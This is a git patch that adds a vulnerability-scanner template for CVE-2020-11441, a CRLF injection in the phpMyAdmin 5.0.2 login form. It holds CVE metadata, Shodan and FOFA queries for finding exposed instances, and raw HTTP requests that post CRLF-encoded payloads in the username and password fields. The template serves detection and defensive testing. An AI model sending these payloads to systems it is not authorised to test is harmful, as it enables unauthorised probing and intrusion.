From 8b80f1e06dce2c95acfadfbe4628a6b7bc8211fd Mon Sep 17 00:00:00 2001 From: Ritik Chaddha <44563978+ritikchaddha@users.noreply.github.com> Date: Wed, 25 Sep 2024 11:56:53 +0400 Subject: [PATCH 1/2] Create CVE-2020-11441.yaml --- http/cves/2020/CVE-2020-11441.yaml | 57 ++++++++++++++++++++++++++++++ 1 file changed, 57 insertions(+) create mode 100644 http/cves/2020/CVE-2020-11441.yaml diff --git a/http/cves/2020/CVE-2020-11441.yaml b/http/cves/2020/CVE-2020-11441.yaml new file mode 100644 index 0000000000..a85d047b57 --- /dev/null +++ b/http/cves/2020/CVE-2020-11441.yaml @@ -0,0 +1,57 @@ +id: CVE-2020-11441 + +info: + name: phpMyAdmin 5.0.2 - CRLF Injection + author: ritikchaddha + severity: medium + description: | + phpMyAdmin 5.0.2 allows CRLF injection, as demonstrated by %0D%0Astring%0D%0A inputs to login form fields causing CRLF sequences to be reflected on an error page. NOTE: the vendor states "I don't see anything specifically exploitable. + reference: + - https://github.com/phpmyadmin/phpmyadmin/issues/16056 + - https://nvd.nist.gov/vuln/detail/CVE-2020-11441 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 6.1 + cve-id: CVE-2020-11441 + cwe-id: CWE-93 + cpe: cpe:2.3:a:phpmyadmin:phpmyadmin:5.0.2:*:*:*:*:*:*:* + metadata: + max-request: 2 + vendor: phpmyadmin + product: phpmyadmin + shodan-query: title:"phpmyadmin" + fofa-query: title="phpmyadmin" + tags: cve,crlf,phpmyadmin,cve2020 + +http: + - raw: + - | + GET /index.php?route=/ HTTP/1.1 + Host: {{Hostname}} + + - | + POST /index.php?route=/ HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + set_session={{session}}&pma_username=%0D%0Atest:crlfinjection=1%0D%0A&pma_password=%0D%0Atest:crlfinjection=1%0D%0A&server=1&route=%2F&lang=en&token=4725334b3c5b516e4b537c356178426a + + matchers-condition: and + matchers: + - type: regex + part: body + regex: + - "^test:crlfinjection=1$" + + - type: status + status: + - 200 + + extractors: + - type: regex + part: body + name: session + group: 1 + regex: + - 'name="set_session" value="([a-z0-9]+)"' + internal: true From 5380fdcfa949ebb24a080081e7ac92957b378f2a Mon Sep 17 00:00:00 2001 From: Ritik Chaddha <44563978+ritikchaddha@users.noreply.github.com> Date: Wed, 25 Sep 2024 15:42:44 +0400 Subject: [PATCH 2/2] added token extractor --- http/cves/2020/CVE-2020-11441.yaml | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/http/cves/2020/CVE-2020-11441.yaml b/http/cves/2020/CVE-2020-11441.yaml index a85d047b57..c2643eb505 100644 --- a/http/cves/2020/CVE-2020-11441.yaml +++ b/http/cves/2020/CVE-2020-11441.yaml @@ -34,7 +34,7 @@ http: Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded - set_session={{session}}&pma_username=%0D%0Atest:crlfinjection=1%0D%0A&pma_password=%0D%0Atest:crlfinjection=1%0D%0A&server=1&route=%2F&lang=en&token=4725334b3c5b516e4b537c356178426a + set_session={{session}}&pma_username=%0D%0Atest:crlfinjection=1%0D%0A&pma_password=%0D%0Atest:crlfinjection=1%0D%0A&server=1&route=%2F&lang=en&token={{token}} matchers-condition: and matchers: @@ -55,3 +55,11 @@ http: regex: - 'name="set_session" value="([a-z0-9]+)"' internal: true + + - type: regex + part: body + name: token + group: 1 + regex: + - 'name="token" value="([a-z0-9]+)"' + internal: true